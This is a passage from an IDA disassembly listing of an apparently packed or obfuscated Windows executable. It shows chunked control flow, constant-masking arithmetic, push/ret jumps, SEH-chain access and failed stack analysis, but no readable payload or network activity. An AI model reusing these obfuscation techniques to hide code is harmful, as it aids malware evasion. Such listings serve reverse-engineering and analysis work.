; START	OF FUNCTION CHUNK FOR sub_40DA7D


loc_40B6D8:				; CODE XREF: sub_40DA7D-3F09j
		jmp	loc_40FB92
; END OF FUNCTION CHUNK	FOR sub_40DA7D
; ---------------------------------------------------------------------------


loc_40B6DD:				; CODE XREF: o45kw3t9:0040A304j
		cmp	dword ptr [ebp-10h], 1
		jmp	loc_40A7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A235


loc_40B6E6:				; CODE XREF: sub_40A235+7j
					; DATA XREF: sub_40A235:loc_40A237o
		xor	al, al
		or	eax, eax
		jnz	loc_40FCA9
		call	sub_40A846
		push	offset loc_40FCA1
		jmp	loc_40B832
; END OF FUNCTION CHUNK	FOR sub_40A235
; ---------------------------------------------------------------------------
		popf
		jmp	loc_40BB22
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40B706:				; CODE XREF: sub_40DA15+DF8j
		jmp	nullsub_126
; END OF FUNCTION CHUNK	FOR sub_40DA15
; ---------------------------------------------------------------------------


loc_40B70B:				; CODE XREF: o45kw3t9:0040DBB0j
		jmp	sub_40E858
; ---------------------------------------------------------------------------
		ror	esi, 0Fh
		jmp	sub_40A839
; ---------------------------------------------------------------------------


loc_40B718:				; CODE XREF: o45kw3t9:0040FA27j
		cmp	ecx, esi
		jmp	loc_40DEF7
; ---------------------------------------------------------------------------


loc_40B71F:				; CODE XREF: o45kw3t9:0040AC7Fj
		jz	loc_40DFF3
		jmp	loc_409FF4
; ---------------------------------------------------------------------------
		jo	loc_40BF42
		push	ebp
		mov	ebp, esp
		push	ecx
		inc	ds:dword_40CFE8
		lea	eax, nullsub_2
		jmp	loc_409757

; =============== S U B	R O U T	I N E =======================================



sub_40B745	proc near		; CODE XREF: o45kw3t9:0040D4D4p
					; o45kw3t9:0040D633j

; FUNCTION CHUNK AT 0040AB49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E6C1 SIZE 0000000D BYTES

		mov	[esp+0], ecx
		pop	ecx
		test	eax, eax
		jl	loc_40B415
		inc	eax
		jmp	loc_40AB49
sub_40B745	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E692


loc_40B757:				; CODE XREF: sub_40E692-10AEj
		jnz	loc_40B4C6
		jmp	loc_40B4CC
; END OF FUNCTION CHUNK	FOR sub_40E692
; ---------------------------------------------------------------------------
		test	ebp, 37549038h
		jmp	loc_40978B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40B76E	proc near		; DATA XREF: sub_40DB3D-3F1Ao

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00409A87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409AFF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00409FC3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A3B4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040B9D8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0040BA18 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040BAAD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040D73B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DA98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DB1C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040DE6A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040DF2C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040E1E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E2E4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004102CF SIZE 0000001C BYTES

		push	ecx
		push	9135AF5Ch
		pop	ecx
		xor	ecx, 9135AF5Ch
		xchg	ecx, [esp+4+var_4]
		mov	edx, esp
		push	edx
		push	0A74DBA21h
		jmp	loc_40DA98
sub_40B76E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D5BF


loc_40B78B:				; CODE XREF: sub_40D5BF-512j
		pop	edi
		and	edi, 85465259h
		xor	edi, 0AE725291h
		add	edi, 6BAFEF57h
; END OF FUNCTION CHUNK	FOR sub_40D5BF
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40B79E:				; CODE XREF: sub_40C674:loc_40F08Cj
		jmp	loc_40D63E
; END OF FUNCTION CHUNK	FOR sub_40C674

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A3	proc near		; CODE XREF: sub_40D439+Dp

; FUNCTION CHUNK AT 00409D57 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset loc_40B5A5
		jmp	loc_409D57
sub_40B7A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7B1	proc near		; DATA XREF: o45kw3t9:0040EA52o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040E64B SIZE 00000005 BYTES

		push	ebx
		push	8A578979h
		pop	ebx


loc_40B7B8:				; CODE XREF: o45kw3t9:loc_409E4Aj
		and	ebx, 0EE048C31h
		add	ebx, 763C2100h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_40E64B
sub_40B7B1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B7CC:				; CODE XREF: sub_40D740-1A60j
		jg	loc_40AA85
		mov	edx, 74845F74h
		jbe	loc_40AEF0
		test	esi, 0CA1C13F6h
		jmp	loc_4095C7
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40B7E8:				; CODE XREF: sub_40939B:loc_4101F9j
		mov	[ebp-20h], eax
		jmp	loc_40CFCE
; ---------------------------------------------------------------------------


loc_40B7F0:				; CODE XREF: sub_40939B:loc_40AC8Cj
		test	byte ptr [ebp-7], 8
		jz	loc_40E9CF
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_409379
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_40B024
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------


loc_40B80C:				; CODE XREF: o45kw3t9:0040FA46j
		xchg	ebp, [edx]
		shr	edi, 1Dh
		xor	ecx, 7480826Eh
		and	eax, edx
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40B81E:				; DATA XREF: sub_40FE86:loc_40BBF5o
		call	sub_40D031
		mov	edx, 0DDABAF17h
		call	sub_40E858
		call	loc_40D7A0
; START	OF FUNCTION CHUNK FOR sub_40A235


loc_40B832:				; CODE XREF: sub_40A235+14C5j
		jmp	nullsub_18
; END OF FUNCTION CHUNK	FOR sub_40A235
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40B838:				; CODE XREF: o45kw3t9:0040A005j
		jmp	loc_40B103
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_40B83D:				; CODE XREF: sub_40E562-4C9Fj
		jmp	loc_40E77A
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B842:				; CODE XREF: sub_40D740:loc_40FAA6j
		push	9D60C22Dh
		xor	[esp+24h+var_24], 629F3DD2h
		call	sub_40D21F


loc_40B853:				; DATA XREF: o45kw3t9:0040DA5Eo
		mov	ds:dword_40E52C, eax
		mov	ds:byte_40FA00,	1
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_409472


loc_40B85F:				; CODE XREF: sub_409472+3139j
		lea	eax, [ebp-14h]
		xor	edx, edx
		jmp	loc_40A2B9
; END OF FUNCTION CHUNK	FOR sub_409472
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC53


loc_40B86A:				; CODE XREF: sub_40C674:loc_40A98Dj
					; sub_40EC53+6j
		jmp	loc_40C2CD
; END OF FUNCTION CHUNK	FOR sub_40EC53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40B86F:				; CODE XREF: sub_40988C+5322j
		jmp	loc_40C40E
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E014


loc_40B874:				; CODE XREF: sub_40E014+Ej
		jmp	loc_40D1DE
; END OF FUNCTION CHUNK	FOR sub_40E014
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40B879:				; CODE XREF: sub_40FE86-56BCj
		jmp	loc_40EF7B
; END OF FUNCTION CHUNK	FOR sub_40FE86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6F8


loc_40B87E:				; CODE XREF: sub_40A6F8+12j
		jmp	loc_40B431
; END OF FUNCTION CHUNK	FOR sub_40A6F8
; ---------------------------------------------------------------------------


loc_40B883:				; CODE XREF: o45kw3t9:0040A093j
		jmp	loc_40CDBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40B888:				; CODE XREF: sub_40CC20-2D87j
		jmp	nullsub_136
; END OF FUNCTION CHUNK	FOR sub_40CC20

; =============== S U B	R O U T	I N E =======================================



sub_40B88D	proc near		; CODE XREF: sub_40BF98j
					; DATA XREF: sub_40BF87+7o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00409117 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004095D2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040B12D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040B991 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DC46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DFAA SIZE 00000002 BYTES

		cmp	byte ptr [eax],	0F1h
		jnz	loc_4095D2
		jmp	loc_409117
sub_40B88D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CCC


loc_40B89B:				; CODE XREF: sub_409CCC:loc_40C003j
		add	edi, 6EF52C03h
		push	offset loc_40D3F0
		jmp	nullsub_59
; END OF FUNCTION CHUNK	FOR sub_409CCC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	esi, 99A9CED6h
		jmp	loc_40BF17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40B8B7:				; CODE XREF: sub_40B3E5:loc_409EE8j
		cmp	eax, 0B2953A32h
		jmp	loc_40C9C8
; END OF FUNCTION CHUNK	FOR sub_40B3E5

; =============== S U B	R O U T	I N E =======================================



sub_40B8C2	proc near		; CODE XREF: sub_40E543+Ep

; FUNCTION CHUNK AT 0040BD91 SIZE 0000000A BYTES

		mov	eax, large fs:0


loc_40B8C9:				; CODE XREF: sub_40A839+6j
					; sub_40B8C2+15j
		jnz	loc_40BD91
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_40B8C9
		jmp	nullsub_19
sub_40B8C2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E76D


loc_40B8E2:				; CODE XREF: sub_40E76D:loc_40CF33j
		push	0
		call	sub_40D597
		push	7395D24Fh
		sub	[esp+8+var_8], 7395D250h
		call	sub_40FD16
		mov	esp, ebp
		jmp	loc_409E7E
; END OF FUNCTION CHUNK	FOR sub_40E76D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40B901:				; CODE XREF: sub_409726:loc_410064j
		mov	ds:dword_40CFC0, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BD84


loc_40B908:				; CODE XREF: sub_40BD84+7j
		jmp	loc_40ED69
; END OF FUNCTION CHUNK	FOR sub_40BD84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40B90D:				; CODE XREF: sub_40A259+5876j
		ror	eax, 1Ch
		xchg	eax, ebx
		push	ebx
		xchg	eax, ebx
		jmp	loc_40D429
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------


loc_40B91A:				; CODE XREF: o45kw3t9:0041004Aj
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40B4C1
		jmp	loc_40AE80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40B92C:				; CODE XREF: sub_40DA15:loc_40EF6Bj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40E806
		jmp	loc_40B580
; END OF FUNCTION CHUNK	FOR sub_40DA15

; =============== S U B	R O U T	I N E =======================================



sub_40B93B	proc near		; CODE XREF: sub_40E65D-540Ep
					; o45kw3t9:0040AF15j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040E3D4 SIZE 00000005 BYTES

		xchg	eax, [esp+0]


loc_40B93E:				; CODE XREF: sub_40D740-3577j
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_40E3D4
sub_40B93B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jle	loc_40AD7D
		jmp	sub_40ABFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C683


loc_40B952:				; CODE XREF: sub_40C683:loc_410225j
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_40A7A0
		call	nullsub_3
		jmp	loc_40AD68
; END OF FUNCTION CHUNK	FOR sub_40C683

; =============== S U B	R O U T	I N E =======================================



sub_40B96E	proc near		; CODE XREF: sub_40E858:loc_40B6B5j

; FUNCTION CHUNK AT 00409316 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CFD8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EA9C SIZE 0000000A BYTES

		add	esp, 0FFFFFED8h
		mov	[ebp-8], edx


loc_40B977:				; CODE XREF: o45kw3t9:loc_40DA0Fj
		jmp	loc_40CFD8
sub_40B96E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B97C:				; CODE XREF: sub_40D740:loc_40A599j
		push	offset sub_41013B
		jmp	nullsub_137
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40B986:				; CODE XREF: sub_40DA15:loc_40C28Ej
		jnz	loc_40ADB5
		jmp	loc_40D6BE
; END OF FUNCTION CHUNK	FOR sub_40DA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B88D


loc_40B991:				; CODE XREF: sub_40B88D:loc_409117j
					; o45kw3t9:loc_409CD9j
		jz	loc_4095CD
		jmp	loc_40D7AD
; END OF FUNCTION CHUNK	FOR sub_40B88D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D587


loc_40B99D:				; CODE XREF: sub_40D587+156Ej
		jmp	nullsub_124
; END OF FUNCTION CHUNK	FOR sub_40D587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A299


loc_40B9A2:				; CODE XREF: sub_40A299+Dj
		jz	loc_40AD95
		jmp	loc_40C490
; END OF FUNCTION CHUNK	FOR sub_40A299
; ---------------------------------------------------------------------------


loc_40B9AD:				; CODE XREF: o45kw3t9:0040C873j
		jg	loc_40A70F


loc_40B9B3:				; CODE XREF: o45kw3t9:loc_40ED3Aj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	edx
		push	67A00041h
		jmp	loc_40C307
; ---------------------------------------------------------------------------
		mov	edi, [edx]
		jmp	loc_40AD0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6F8


loc_40B9CB:				; CODE XREF: sub_40A6F8+32C9j
		test	edx, ebp
		jmp	loc_40A766
; END OF FUNCTION CHUNK	FOR sub_40A6F8
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40B9D3:				; CODE XREF: sub_40CC20-A80j
		jmp	loc_40DA3B
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40B9D8:				; CODE XREF: sub_40B76E+2B7Fj
		jno	sub_40B196
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_409FC3
; ---------------------------------------------------------------------------


loc_40B9E7:				; CODE XREF: sub_40B76E:loc_40D73Bj
		push	0
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+20h+var_20]
		push	0AF83A664h
		pop	ecx
		jmp	loc_40BAAD
; END OF FUNCTION CHUNK	FOR sub_40B76E

; =============== S U B	R O U T	I N E =======================================



sub_40B9FA	proc near		; CODE XREF: o45kw3t9:0040968Ej
					; o45kw3t9:0040EF59p
		mov	[esp+0], edx
		pop	edx
		cmp	dword ptr [ebp-8], 0
		jnz	loc_40BA0E
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
sub_40B9FA	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40B160


loc_40BA0E:				; CODE XREF: sub_40B160+8j
					; sub_40B160+14j ...
		call	sub_40DAFB
		jmp	loc_40CA7C
; END OF FUNCTION CHUNK	FOR sub_40B160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40BA18:				; CODE XREF: sub_40B76E+27CAj
		add	esi, 9DC16735h
		xchg	esi, [esp+1Ch+var_1C]
		jmp	loc_40E1E0
; END OF FUNCTION CHUNK	FOR sub_40B76E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40995E


loc_40BA27:				; CODE XREF: sub_40995E+5j
		jmp	loc_40D07E
; END OF FUNCTION CHUNK	FOR sub_40995E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4092B8


loc_40BA2C:				; CODE XREF: sub_4092B8+3E7Ej
		test	edi, 6145BDCBh
		jmp	loc_40DEA8
; END OF FUNCTION CHUNK	FOR sub_4092B8

; =============== S U B	R O U T	I N E =======================================



sub_40BA37	proc near		; CODE XREF: o45kw3t9:0040AA97j
					; sub_40D740+206p
		xchg	edx, [esp+0]
		pop	edx


loc_40BA3B:				; CODE XREF: o45kw3t9:loc_40B33Fj
					; o45kw3t9:loc_40BD0Aj
		pop	ecx
		pop	ebp
		retn
sub_40BA37	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A1A8


loc_40BA3E:				; CODE XREF: sub_40A1A8:loc_40A1B3j
		jmp	loc_40E1FD
; END OF FUNCTION CHUNK	FOR sub_40A1A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E19B


loc_40BA43:				; CODE XREF: sub_40E19B+13j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jmp	loc_40D755
; END OF FUNCTION CHUNK	FOR sub_40E19B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD2E


loc_40BA4F:				; CODE XREF: sub_40CD2E-248Dj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40A40E
		jmp	loc_40D866
; END OF FUNCTION CHUNK	FOR sub_40CD2E
; ---------------------------------------------------------------------------


loc_40BA5E:				; CODE XREF: o45kw3t9:loc_40A4A1j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40C17A
		jmp	loc_40ED5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409AD7


loc_40BA6F:				; CODE XREF: sub_409AD7+506Ej
		push	offset sub_40A180
		jmp	nullsub_77
; END OF FUNCTION CHUNK	FOR sub_409AD7
; ---------------------------------------------------------------------------
		mov	edx, [esi]
		jmp	loc_40AB83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6E8


loc_40BA80:				; CODE XREF: o45kw3t9:0040CA16j
					; sub_40E6E8+1C44j
		cdq


loc_40BA81:				; CODE XREF: sub_40E6E8+1C32j
		add	eax, 15A288A0h
		xchg	eax, [esp+0]
		jmp	sub_40CEFE
; END OF FUNCTION CHUNK	FOR sub_40E6E8
; ---------------------------------------------------------------------------


loc_40BA8F:				; DATA XREF: sub_40B14E-B2o
		mov	eax, [eax]
		jmp	loc_40A26A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B14E


loc_40BA96:				; CODE XREF: sub_40B14E:loc_40B085j
		or	eax, eax
		jz	loc_40BB57
		cmp	eax, 0FFFFFFFFh
		jmp	loc_40AB04
; END OF FUNCTION CHUNK	FOR sub_40B14E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40BAA6:				; CODE XREF: sub_40D740-348Dj
		cmp	esi, ecx
		jmp	loc_40E12C
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40BAAD:				; CODE XREF: sub_40B76E+287j
		and	ecx, 98E00902h
		js	loc_40E2E4


loc_40BAB9:				; CODE XREF: o45kw3t9:0040B304j
		jmp	loc_40DF2C
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
		add	ebx, 38DE77B1h
		pushf
		jmp	loc_409CD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BB73


loc_40BACA:				; CODE XREF: sub_40BB73:loc_409EB1j
		call	sub_40A447
		mov	eax, [esp+0]
		call	sub_40A01C
		retn
; END OF FUNCTION CHUNK	FOR sub_40BB73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D394


loc_40BAD8:				; CODE XREF: sub_40D394-33A5j
		jmp	nullsub_42
; END OF FUNCTION CHUNK	FOR sub_40D394
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D1C4


loc_40BADD:				; CODE XREF: sub_40D1C4:loc_40FD6Bj
		xor	eax, 5B14CA7Bh
		jmp	loc_40B1E2
; END OF FUNCTION CHUNK	FOR sub_40D1C4

; =============== S U B	R O U T	I N E =======================================



sub_40BAE8	proc near		; CODE XREF: o45kw3t9:0040979Ej
					; sub_40FB9F-3975p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040C3A1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040D47A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D538 SIZE 00000005 BYTES

		mov	[esp+0], edi
		xchg	edx, [esp+0]
		mov	edi, edx
		pop	edx
		add	edx, 184645Eh
		jmp	loc_40D538
sub_40BAE8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40BAFC:				; CODE XREF: sub_40A742+11j
		cmp	al, 0A4h
		jz	loc_4095CD
		push	5A356DB8h
		mov	eax, offset loc_40BB17
		xchg	eax, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------


loc_40BB12:				; CODE XREF: o45kw3t9:0040990Dj
		jmp	loc_40956A
; ---------------------------------------------------------------------------


loc_40BB17:				; DATA XREF: sub_40A742+13C7o
		xor	eax, 9D6FDD28h
		jmp	loc_40B510
; ---------------------------------------------------------------------------


loc_40BB22:				; CODE XREF: o45kw3t9:0040B700j
		or	ebx, 50640A84h

; =============== S U B	R O U T	I N E =======================================



sub_40BB28	proc near		; CODE XREF: sub_40D740-24C7p

; FUNCTION CHUNK AT 004090DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B401 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040C79F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040F0CF SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	edx, [edx]
		jmp	loc_40B401
sub_40BB28	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40BB33:				; CODE XREF: sub_40D740+15Dj
		cmp	eax, [ebp-8]
		jnz	loc_40C354
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		jmp	loc_40A5A9
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40BB4A:				; DATA XREF: sub_40B14E:loc_40A822o
		jz	loc_40BB57
		mov	eax, [eax]
		jmp	loc_40E658
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B14E


loc_40BB57:				; CODE XREF: sub_40B14E-C1j
					; sub_40B14E-B8j ...
		xor	ebx, ebx


loc_40BB59:				; CODE XREF: o45kw3t9:loc_40B07Fj
					; sub_41013Bj
		mov	eax, ebx


loc_40BB5B:				; CODE XREF: sub_40E577:loc_40E58Aj
		pop	ecx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_40B14E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB50


loc_40BB5E:				; CODE XREF: sub_40DB50+2319j
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_40DB50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409472


loc_40BB63:				; CODE XREF: sub_409472-110j
		jmp	loc_40C596
; END OF FUNCTION CHUNK	FOR sub_409472
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B1B3


loc_40BB68:				; CODE XREF: o45kw3t9:0040DDABj
					; sub_40B1B3+2C1Ej
		mov	eax, ds:dword_40E534
		jmp	loc_40A7DB
; END OF FUNCTION CHUNK	FOR sub_40B1B3
; ---------------------------------------------------------------------------

locret_40BB72:				; CODE XREF: o45kw3t9:0040DA63j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40BB73	proc near		; CODE XREF: sub_40CEFE+3j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00409EB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BACA SIZE 0000000E BYTES

		add	esp, 0FFFFFFECh
		mov	eax, offset dword_40E538
		call	sub_40B029
		cmp	ds:dword_40E410, 0
		call	sub_40A8A6


loc_40BB8C:				; CODE XREF: o45kw3t9:004096D0j
					; sub_40D1C4+2BC6p
		xchg	eax, [esp+8+var_8]
		pop	eax
		add	edx, 68D900BFh
		xor	eax, edx
		pop	edx
		mov	edx, [esp+0]
		push	eax
		mov	eax, edx
		jmp	loc_409EB1
sub_40BB73	endp

; ---------------------------------------------------------------------------
		mov	esi, 56FFB962h
		jmp	sub_40DDDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40BBAE:				; CODE XREF: sub_40988C:loc_40BFE3j
					; sub_40988C+4575j
		push	3BEA07B6h
		pop	eax
		add	eax, 0FFEAC23Fh
		xor	eax, 49B3FE3Dh
		push	offset sub_40E577
		jmp	loc_40D66F
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410069


loc_40BBCA:				; CODE XREF: sub_410069+1Cj
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_409A36
		jmp	loc_40E977
; END OF FUNCTION CHUNK	FOR sub_410069
; ---------------------------------------------------------------------------


loc_40BBDB:				; DATA XREF: sub_40AD7A+4DA5o
		xchg	ebp, [esp]
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A299


loc_40BBE0:				; CODE XREF: sub_40A299+26CCj
		jmp	loc_409DA0
; END OF FUNCTION CHUNK	FOR sub_40A299
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_40BBE5:				; CODE XREF: sub_40EABC-29D8j
		jmp	nullsub_153
; END OF FUNCTION CHUNK	FOR sub_40EABC
; ---------------------------------------------------------------------------
		xchg	ebp, esi
		push	edi
		jmp	loc_409109
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40BBF2:				; CODE XREF: sub_40FE86-188Fj
		mov	ebx, [ebp+0]


loc_40BBF5:				; CODE XREF: sub_40FE86:loc_40EF7Bj
		push	offset loc_40B81E
		jmp	loc_40E319
; END OF FUNCTION CHUNK	FOR sub_40FE86
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40BC00:				; CODE XREF: o45kw3t9:0040DDC5j
		jmp	loc_40E341
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 1Bh
